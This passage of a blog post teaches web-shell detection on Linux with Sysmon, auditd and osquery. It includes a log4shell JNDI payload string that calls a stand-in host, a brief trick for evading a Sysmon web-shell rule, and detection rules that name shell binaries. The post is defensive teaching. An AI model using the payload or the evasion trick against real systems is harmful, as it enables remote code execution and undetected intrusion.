    <span class="nt">&lt;Channel&gt;</span>Linux-Sysmon/Operational<span class="nt">&lt;/Channel&gt;</span>
    <span class="nt">&lt;Computer&gt;</span>sysmon-test<span class="nt">&lt;/Computer&gt;</span>
    <span class="nt">&lt;Security</span> <span class="na">UserId=</span><span class="s">"0"</span><span class="nt">/&gt;</span>
  <span class="nt">&lt;/System&gt;</span>
  <span class="nt">&lt;EventData&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"RuleName"</span><span class="nt">&gt;</span>TechniqueID=T1059.004,TechniqueName=Command and Scriptin<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"UtcTime"</span><span class="nt">&gt;</span>2021-11-23 14:06:07.116<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"ProcessGuid"</span><span class="nt">&gt;</span>{717481a5-f54f-619c-2d4e-bd5574550000}<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"ProcessId"</span><span class="nt">&gt;</span>11662<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"Image"</span><span class="nt">&gt;</span>/usr/bin/dash<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"FileVersion"</span><span class="nt">&gt;</span>-<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"Description"</span><span class="nt">&gt;</span>-<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"Product"</span><span class="nt">&gt;</span>-<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"Company"</span><span class="nt">&gt;</span>-<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"OriginalFileName"</span><span class="nt">&gt;</span>-<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"CommandLine"</span><span class="nt">&gt;</span>sh -c whoami<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"CurrentDirectory"</span><span class="nt">&gt;</span>/var/www/html<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"User"</span><span class="nt">&gt;</span>www-data<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"LogonGuid"</span><span class="nt">&gt;</span>{717481a5-0000-0000-2100-000000000000}<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"LogonId"</span><span class="nt">&gt;</span>33<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"TerminalSessionId"</span><span class="nt">&gt;</span>4294967295<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"IntegrityLevel"</span><span class="nt">&gt;</span>no level<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"Hashes"</span><span class="nt">&gt;</span>-<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"ParentProcessGuid"</span><span class="nt">&gt;</span>{00000000-0000-0000-0000-000000000000}<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"ParentProcessId"</span><span class="nt">&gt;</span>10242<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"ParentImage"</span><span class="nt">&gt;</span>-<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"ParentCommandLine"</span><span class="nt">&gt;</span>-<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"ParentUser"</span><span class="nt">&gt;</span>-<span class="nt">&lt;/Data&gt;</span>
  <span class="nt">&lt;/EventData&gt;</span>
<span class="nt">&lt;/Event&gt;</span>
</code></pre></div></div>

<p>Here we see <code class="language-plaintext highlighter-rouge">/bin/dash</code> being executed that is why the rule was triggered. Afterwards, the rule <strong><em>T1505.003,TechniqueName=Server Software Component: Web Shell</em></strong> is triggered because of <code class="language-plaintext highlighter-rouge">whoami</code> .</p>

<p>Here is the log for it. I’ve removed some fields for brevity.</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;Event&gt;</span>
  <span class="nt">&lt;System&gt;</span>
    <span class="nt">&lt;Provider</span> <span class="na">Name=</span><span class="s">"Linux-Sysmon"</span> <span class="na">Guid=</span><span class="s">"{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"</span><span class="nt">/&gt;</span>
    <span class="nt">&lt;EventID&gt;</span>1<span class="nt">&lt;/EventID&gt;</span>
  <span class="nt">&lt;/System&gt;</span>
  <span class="nt">&lt;EventData&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"RuleName"</span><span class="nt">&gt;</span>TechniqueID=T1505.003,TechniqueName=Serv<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"UtcTime"</span><span class="nt">&gt;</span>2021-11-23 14:06:07.118<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"ProcessGuid"</span><span class="nt">&gt;</span>{717481a5-f54f-619c-c944-fd0292550000}<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"ProcessId"</span><span class="nt">&gt;</span>11663<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"Image"</span><span class="nt">&gt;</span>/usr/bin/whoami<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"CommandLine"</span><span class="nt">&gt;</span>whoami<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"CurrentDirectory"</span><span class="nt">&gt;</span>/var/www/html<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"User"</span><span class="nt">&gt;</span>www-data<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"LogonGuid"</span><span class="nt">&gt;</span>{717481a5-0000-0000-2100-000000000000}<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"LogonId"</span><span class="nt">&gt;</span>33<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"ParentProcessId"</span><span class="nt">&gt;</span>11662<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"ParentImage"</span><span class="nt">&gt;</span>/usr/bin/dash<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"ParentCommandLine"</span><span class="nt">&gt;</span>sh<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"ParentUser"</span><span class="nt">&gt;</span>www-data<span class="nt">&lt;/Data&gt;</span>
  <span class="nt">&lt;/EventData&gt;</span>
<span class="nt">&lt;/Event&gt;</span>
</code></pre></div></div>

<p>Now with this knowledge, we can bypass <code class="language-plaintext highlighter-rouge">T1505.003</code>  sysmon rule. By running <code class="language-plaintext highlighter-rouge">system("/bin/bash whoami")</code> so that the parent image of the <code class="language-plaintext highlighter-rouge">whoami</code> command would not be <code class="language-plaintext highlighter-rouge">dash</code> . This would trigger two <code class="language-plaintext highlighter-rouge">T1059.004</code> alerts.</p>

<p>Just for an exercise, if we want to replicate our <code class="language-plaintext highlighter-rouge">detect_execve_www</code> in sysmon, we can use the following rule</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="nt">&lt;RuleGroup</span> <span class="na">name=</span><span class="s">""</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">&gt;</span>
      <span class="nt">&lt;ProcessCreate</span> <span class="na">onmatch=</span><span class="s">"include"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;Rule</span> <span class="na">name=</span><span class="s">"detect_shell_www"</span> <span class="na">groupRelation=</span><span class="s">"and"</span><span class="nt">&gt;</span>
          <span class="nt">&lt;User</span> <span class="na">condition=</span><span class="s">"is"</span><span class="nt">&gt;</span>www-data<span class="nt">&lt;/User&gt;</span>
          <span class="nt">&lt;Image</span> <span class="na">condition=</span><span class="s">"contains any"</span><span class="nt">&gt;</span>/bin/bash;/bin/dash;/bin/sh;whoami<span class="nt">&lt;/Image&gt;</span>
        <span class="nt">&lt;/Rule&gt;</span>
      <span class="nt">&lt;/ProcessCreate&gt;</span>
    <span class="nt">&lt;/RuleGroup&gt;</span>
</code></pre></div></div>

<p>And if we want to do basic file integrity monitoring with sysmon we can use</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;FileCreate</span> <span class="na">onmatch=</span><span class="s">"include"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;Rule</span> <span class="na">name=</span><span class="s">"change_www"</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"begin with"</span><span class="nt">&gt;</span>/var/www/html<span class="nt">&lt;/TargetFilename&gt;</span> 
    <span class="nt">&lt;/Rule&gt;</span>
<span class="nt">&lt;/FileCreate&gt;</span>
</code></pre></div></div>

<p>For more information about writing your own sysmon rules you can look at:</p>

<ul>
  <li><a href="https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon#configuration-files">https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon#configuration-files</a></li>
  <li><a href="https://techcommunity.microsoft.com/t5/sysinternals-blog/sysmon-the-rules-about-rules/ba-p/733649">https://techcommunity.microsoft.com/t5/sysinternals-blog/sysmon-the-rules-about-rules/ba-p/733649</a></li>
  <li><a href="https://github.com/SwiftOnSecurity/sysmon-config/blob/master/sysmonconfig-export.xml">https://github.com/SwiftOnSecurity/sysmon-config/blob/master/sysmonconfig-export.xml</a></li>
  <li><a href="https://github.com/microsoft/MSTIC-Sysmon">https://github.com/microsoft/MSTIC-Sysmon</a></li>
</ul>

<h4 id="16-detection-looking-for-initiated-connections-by-www-data">1.6 Detection: Looking for initiated connections by www-data</h4>

<p>If your web server is not expected to create outbound connections, then we can monitor outbound connections created by the <code class="language-plaintext highlighter-rouge">www-data</code> user.</p>

<p>Some reasons an attacker might do this are:</p>
<ul>
  <li>Downloading additional scripts and tools</li>
  <li>Establishing a reverse shell</li>
  <li>Moving laterally by accessing other machines through the web shell</li>
</ul>

<h5 id="161-auditd">1.6.1 auditd</h5>

<p>Referencing <a href="https://www.linkedin.com/pulse/using-auditd-monitor-network-connections-alex-maestretti/">[4]</a>, we can us auditd to look for IP connections created by <code class="language-plaintext highlighter-rouge">www-data</code> (Replace <code class="language-plaintext highlighter-rouge">euid</code> for other users).</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-a always,exit -F arch=b32 -S socket -F a0=10 -F euid=33 -k www_data_connect
-a always,exit -F arch=b64 -S socket -F a0=10 -F euid=33 -k www_data_connect
-a always,exit -F arch=b32 -S socket -F a0=2 -F euid=33  -k www_data_connect
-a always,exit -F arch=b64 -S socket -F a0=2 -F euid=33  -k www_data_connect
</code></pre></div></div>

<p>For example, if we use our web shell to <code class="language-plaintext highlighter-rouge">curl https://www.google.com</code> we get this auditd log.</p>

<pre class="highlight" style="white-space:pre;"><code style="white-space:pre;">
SYSCALL arch=c000003e syscall=41 success=yes exit=3 a0=a a1=80002 a2=0 a3=7f33e33ad394 items=0 ppid=24271 pid=24272 auid=4294967295 uid=33 gid=33 euid=33 suid=33 fsuid=33 egid=33 sgid=33 fsgid=33 tty=(none) ses=4294967295 comm="curl" <b><u>exe="/usr/bin/curl"</u></b> subj==unconfined <b><u>key="www_data_connect"</u></b>
PROCTITLE proctitle=6375726C0068747470733A2F2F7777772E676F6F676C652E636F6D
</code></pre>

<p>As you can see, the log does not include IP metadata such as destination port and destination IP address. This would make it difficult to exclude some known connections the webserver might make, such as connections to a DB.</p>

<h5 id="162-sysmon">1.6.2 sysmon</h5>

<p>In sysmon we can use the following rule</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nt">&lt;NetworkConnect</span> <span class="na">onmatch=</span><span class="s">"include"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;Rule</span> <span class="na">name=</span><span class="s">"www_data_connect"</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;User</span> <span class="na">condition=</span><span class="s">"end with"</span><span class="nt">&gt;</span>www-data<span class="nt">&lt;/User&gt;</span>
    <span class="nt">&lt;/Rule&gt;</span>
<span class="nt">&lt;/NetworkConnect&gt;</span>
</code></pre></div></div>

<p>And we get the following output (removed some fields for brevity):</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;Event&gt;</span>
    <span class="nt">&lt;System&gt;</span>
        <span class="nt">&lt;Provider</span> <span class="na">Name=</span><span class="s">"Linux-Sysmon"</span> <span class="na">Guid=</span><span class="s">"{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;EventID&gt;</span>3<span class="nt">&lt;/EventID&gt;</span>
    <span class="nt">&lt;/System&gt;</span>
    <span class="nt">&lt;EventData&gt;</span>
        <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"RuleName"</span><span class="nt">&gt;</span>www_data_connect<span class="nt">&lt;/Data&gt;</span>
        <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"Image"</span><span class="nt">&gt;</span>/usr/bin/curl<span class="nt">&lt;/Data&gt;</span>
        <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"User"</span><span class="nt">&gt;</span>www-data<span class="nt">&lt;/Data&gt;</span>
        <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"Protocol"</span><span class="nt">&gt;</span>tcp<span class="nt">&lt;/Data&gt;</span>
        <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"Initiated"</span><span class="nt">&gt;</span>true<span class="nt">&lt;/Data&gt;</span>
        <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"SourceIsIpv6"</span><span class="nt">&gt;</span>false<span class="nt">&lt;/Data&gt;</span>
        <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"SourceIp"</span><span class="nt">&gt;</span>10.2.0.29<span class="nt">&lt;/Data&gt;</span>
        <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"SourceHostname"</span><span class="nt">&gt;</span>-<span class="nt">&lt;/Data&gt;</span>
        <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"SourcePort"</span><span class="nt">&gt;</span>57774<span class="nt">&lt;/Data&gt;</span>
        <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"SourcePortName"</span><span class="nt">&gt;</span>-<span class="nt">&lt;/Data&gt;</span>
        <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"DestinationIsIpv6"</span><span class="nt">&gt;</span>false<span class="nt">&lt;/Data&gt;</span>
        <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"DestinationIp"</span><span class="nt">&gt;</span>64.233.191.105<span class="nt">&lt;/Data&gt;</span>
        <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"DestinationHostname"</span><span class="nt">&gt;</span>-<span class="nt">&lt;/Data&gt;</span>
        <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"DestinationPort"</span><span class="nt">&gt;</span>443<span class="nt">&lt;/Data&gt;</span>
        <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"DestinationPortName"</span><span class="nt">&gt;</span>-<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;/EventData&gt;</span>
<span class="nt">&lt;/Event&gt;</span>
</code></pre></div></div>

<p>Notice that the output of sysmon has useful fields like <code class="language-plaintext highlighter-rouge">DestinationIp</code> that might allow us to fine tune rules to exclude connections.</p>

<h5 id="163-example-log4shell">1.6.3 Example: log4shell</h5>

<p>Although strictly, not a webshell or persistence. This is a good example where sysmon’s flexibility shines.</p>

<p>Run the vulnerable app through docker found <a href="https://github.com/christophetd/log4shell-vulnerable-app">christophetd/log4shell-vulnerable-app</a>. This would also require you to exploit POC described in the repo.</p>

<p>See <a href="https://www.huntress.com/blog/rapid-response-critical-rce-vulnerability-is-affecting-java">Critical RCE Vulnerability: log4j - CVE-2021-44228 [5]</a> for complete details. Briefly, the vulnerability is caused by a malicious string such as</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>${jndi:ldap://bad.com/exploit}
</code></pre></div></div>

<p>This causes the application to fetch the remote java object and execute it. This is an example of a case where outbound connections by the java applications might be an indicator of exploitation. We can use <code class="language-plaintext highlighter-rouge">auditd</code> and <code class="language-plaintext highlighter-rouge">sysmon</code> to look for network connections initiated by the app running on docker.</p>

<p>** 1.6.3.1 auditd **</p>

<p>Because of how docker runs, the container and application will run as root. So if we look for new connections made by the app, we will need to look for connections created by <code class="language-plaintext highlighter-rouge">root</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-a always,exit -F arch=b32 -S socket -F euid=0 -F a0=2  -k root_connection
-a always,exit -F arch=b32 -S socket -F euid=0 -F a0=10 -k root_connection
-a always,exit -F arch=b64 -S socket -F euid=0 -F a0=2  -k root_connection
-a always,exit -F arch=b64 -S socket -F euid=0 -F a0=10 -k root_connection
</code></pre></div></div>

<p>This will result in the following logs</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SYSCALL arch=c000003e syscall=41 success=yes exit=23 a0=2 a1=1 a2=0 a3=0 items=0 ppid=26165 pid=26183 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm="java" exe="/usr/lib/jvm/java-1.8-openjdk/jre/bin/java" subj==docker-default (enforce) key="root_connection"
PROCTITLE proctitle=6A617661002D6A6172002F6170702F737072696E672D626F6F742D6170706C69636174696F6E2E6A6172
</code></pre></div></div>

<p>Although this catches the exploit, it also catches other normal network connections root might make. What if we want to filter only for connections created by “java”. I don’t think you can do this with <code class="language-plaintext highlighter-rouge">auditd</code>’s filters although I may be wrong.</p>

<p>** 1.6.3.2 sysmon **</p>

<p>In sysmon, this would be much easier to do</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;Rule</span> <span class="na">name=</span><span class="s">"log4shell"</span> <span class="na">groupRelation=</span><span class="s">"and"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;Protocol</span> <span class="na">condition=</span><span class="s">"is"</span><span class="nt">&gt;</span>tcp<span class="nt">&lt;/Protocol&gt;</span> 
    <span class="nt">&lt;Image</span> <span class="na">condition=</span><span class="s">"end with"</span><span class="nt">&gt;</span>java<span class="nt">&lt;/Image&gt;</span>
<span class="nt">&lt;/Rule&gt;</span>
</code></pre></div></div>

<p>And this results in the following log (removed some fields for brevity)</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0"?&gt;</span>
<span class="nt">&lt;Event&gt;</span>
  <span class="nt">&lt;System&gt;</span>
    <span class="nt">&lt;Provider</span> <span class="na">Name=</span><span class="s">"Linux-Sysmon"</span> <span class="na">Guid=</span><span class="s">"{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"</span><span class="nt">/&gt;</span>
    <span class="nt">&lt;EventID&gt;</span>3<span class="nt">&lt;/EventID&gt;</span>
  <span class="nt">&lt;/System&gt;</span>
  <span class="nt">&lt;EventData&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"Image"</span><span class="nt">&gt;</span>/usr/lib/jvm/java-1.8-openjdk/jre/bin/java<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"User"</span><span class="nt">&gt;</span>root<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"Protocol"</span><span class="nt">&gt;</span>tcp<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"Initiated"</span><span class="nt">&gt;</span>true<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"SourceIsIpv6"</span><span class="nt">&gt;</span>false<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"SourceIp"</span><span class="nt">&gt;</span>172.17.0.2<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"SourceHostname"</span><span class="nt">&gt;</span>-<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"SourcePort"</span><span class="nt">&gt;</span>40378<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"SourcePortName"</span><span class="nt">&gt;</span>-<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"DestinationIsIpv6"</span><span class="nt">&gt;</span>false<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"DestinationIp"</span><span class="nt">&gt;</span>10.2.0.29<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"DestinationHostname"</span><span class="nt">&gt;</span>-<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"DestinationPort"</span><span class="nt">&gt;</span>1389<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"DestinationPortName"</span><span class="nt">&gt;</span>-<span class="nt">&lt;/Data&gt;</span>
  <span class="nt">&lt;/EventData&gt;</span>
<span class="nt">&lt;/Event&gt;</span>
</code></pre></div></div>

<h4 id="17-hunting-for-web-shells-using-osquery">1.7 Hunting for web shells using osquery</h4>

<p>For osquery, we might not be able to “find” the web shells itself, but we might be able to find evidence of the webshell. If an attacker uses a web shell, it is possible they will try to establish a reverse shell. If so, there should be an outbound connection from the web server to the attacker.</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">pid</span><span class="p">,</span> <span class="n">remote_address</span><span class="p">,</span> <span class="n">local_port</span><span class="p">,</span> <span class="n">remote_port</span><span class="p">,</span> <span class="n">s</span><span class="p">.</span><span class="k">state</span><span class="p">,</span> <span class="n">p</span><span class="p">.</span><span class="n">name</span><span class="p">,</span> <span class="n">p</span><span class="p">.</span><span class="n">cmdline</span><span class="p">,</span> <span class="n">p</span><span class="p">.</span><span class="n">uid</span><span class="p">,</span> <span class="n">username</span>  
<span class="k">FROM</span> <span class="n">process_open_sockets</span>  <span class="k">AS</span> <span class="n">s</span> 
<span class="k">JOIN</span> <span class="n">processes</span> <span class="k">AS</span> <span class="n">p</span> 
<span class="k">USING</span><span class="p">(</span><span class="n">pid</span><span class="p">)</span> 
<span class="k">JOIN</span> <span class="n">users</span> 
<span class="k">USING</span><span class="p">(</span><span class="n">uid</span><span class="p">)</span>
<span class="k">WHERE</span> 
    <span class="n">s</span><span class="p">.</span><span class="k">state</span> <span class="o">=</span> <span class="s1">'ESTABLISHED'</span> 
    <span class="k">OR</span> <span class="n">s</span><span class="p">.</span><span class="k">state</span> <span class="o">=</span> <span class="s1">'LISTEN'</span><span class="p">;</span>
</code></pre></div></div>

<p>This look for processes with sockets that have established connections or has a listening port.</p>

<pre class="highlight" style="white-space:pre;"><code style="white-space:pre;">
+-------+-----------------+------------+-------------+-------------+-----------------+----------------------------------------+------+----------+
| pid   | remote_address  | local_port | remote_port | state       | name            | cmdline                                | uid  | username |
+-------+-----------------+------------+-------------+-------------+-----------------+----------------------------------------+------+----------+
| 14209 | 0.0.0.0         | 22         | 0           | LISTEN      | sshd            | /usr/sbin/sshd -D                      | 0    | root     |
| 468   | 0.0.0.0         | 80         | 0           | LISTEN      | nginx           | nginx: worker process                  | 33   | www-data |
| 461   | 74.125.200.95   | 51434      | 443         | ESTABLISHED | google_guest_ag | /usr/bin/google_guest_agent            | 0    | root     |
| 8563  | 10.0.0.13       | 39670      | 9200        | ESTABLISHED | auditbeat       | /usr/share/auditbeat/bin/auditbeat ... | 0    | root     |
| 17770 | 6.7.8.9         | 22         | 20901       | ESTABLISHED | sshd            | sshd: user@pts/0                       | 1000 | user     |
| 17776 | 1.2.3.4         | 51998      | 1337        | ESTABLISHED | bash            | bash                                   | 33   | www-data |
+-------+-----------------+------------+-------------+-------------+-----------------+----------------------------------------+------+----------+
</code></pre>

<p>Notice we that we see exposed port <code class="language-plaintext highlighter-rouge">22</code> and port <code class="language-plaintext highlighter-rouge">80</code> which is normal. We see outbound connections for some binaries used by GCP (my VM is hosted in GCP) as well as the <code class="language-plaintext highlighter-rouge">auditbeat</code> service that ships my logs to the SIEM.</p>

<p>We also see an active SSH connection from <code class="language-plaintext highlighter-rouge">6.7.8.9</code> which might be normal.</p>

<p>What should catch your eye is the connection <code class="language-plaintext highlighter-rouge">pid =17776</code>. It is an outbound connection to port <code class="language-plaintext highlighter-rouge">1337</code> running shell by <code class="language-plaintext highlighter-rouge">www-data</code>! This is probably an active reverse shell!</p>

<h3 id="whats-next">What’s next</h3>

<p>We’ve discussed basics of monitoring and logging with sysmon, osqueryu, auditd and auditbeats and we have used the case study of how to detect the creation and usage of web shells.</p>

<p>There are a lot more techinques we can discuss in depth. Go back to the overview to see the list of the topics of the following blog posts.</p>

<h3 id="appendix">Appendix</h3>

<h4 id="a00-setup-nginx-andphp">A00 Setup nginx and php</h4>

<p>If you want to try this out on your own VM, you need to first setup an nginx server that is configured to use php. (<a href="https://www.digitalocean.com/community/tutorials/how-to-install-linux-nginx-mysql-php-lemp-stack-in-ubuntu-16-04">We follow this guide</a>).</p>

<p>You need to install nginx and php</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>apt-get update  
<span class="nb">sudo </span>apt-get <span class="nb">install </span>nginx  
<span class="nb">sudo </span>apt-get <span class="nb">install </span>php-fpm

<span class="nb">sudo </span>vi /etc/php/7.3/fpm/php.ini  
<span class="c"># cgi.fix_pathinfo=0  </span>
<span class="nb">sudo </span>systemctl restart php7.3-fpm

<span class="nb">sudo </span>vi /etc/nginx/sites-available/default  
<span class="c"># configure nginx to use php see next codeblock</span>

<span class="nb">sudo </span>systemctl restart nginx
</code></pre></div></div>
<p>The nginx config might look something like this</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>server {  
    listen 80 default_server;  
    listen [::]:80 default_server;

root /var/www/html;

index index.html index.htm index.nginx-debian.html;

server_name _;

location / {  
        try_files $uri $uri/ =404;  
    }

location ~ \\.php$ {  
        include snippets/fastcgi-php.conf;  
        fastcgi_pass unix:/run/php/php7.3-fpm.sock;  
    }  
}
</code></pre></div></div>

<p>Now you should have a web server listening in port 80 that can run php code. Any file that ends with <code class="language-plaintext highlighter-rouge">.php</code> will be run as php code.</p>

<h4 id="a01-setup-sysmon-forlinux">A01 Setup sysmon for linux</h4>

<p>For sysmon for linux, I was on Debian 10, so based on <a href="https://github.com/Sysinternals/SysmonForLinux/blob/main/INSTALL.md">https://github.com/Sysinternals/SysmonForLinux/blob/main/INSTALL.md</a></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>wget <span class="nt">-qO-</span> https://packages.microsoft.com/keys/microsoft.asc | gpg <span class="nt">--dearmor</span> <span class="o">&gt;</span> microsoft.asc.gpg  
<span class="nb">sudo mv </span>microsoft.asc.gpg /etc/apt/trusted.gpg.d/  
wget <span class="nt">-q</span> https://packages.microsoft.com/config/debian/10/prod.list  
<span class="nb">sudo mv </span>prod.list /etc/apt/sources.list.d/microsoft-prod.list  
<span class="nb">sudo chown </span>root:root /etc/apt/trusted.gpg.d/microsoft.asc.gpg  
<span class="nb">sudo chown </span>root:root /etc/apt/sources.list.d/microsoft-prod.list

<span class="nb">sudo </span>apt-get update  
<span class="nb">sudo </span>apt-get <span class="nb">install </span>apt-transport-https  
<span class="nb">sudo </span>apt-get update  
<span class="nb">sudo </span>apt-get <span class="nb">install </span>sysmonforlinux
</code></pre></div></div>

<p>I used <a href="https://github.com/microsoft/MSTIC-Sysmon">microsoft/MSTIC-Sysmon</a></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>git clone https://github.com/microsoft/MSTIC-Sysmon.git 
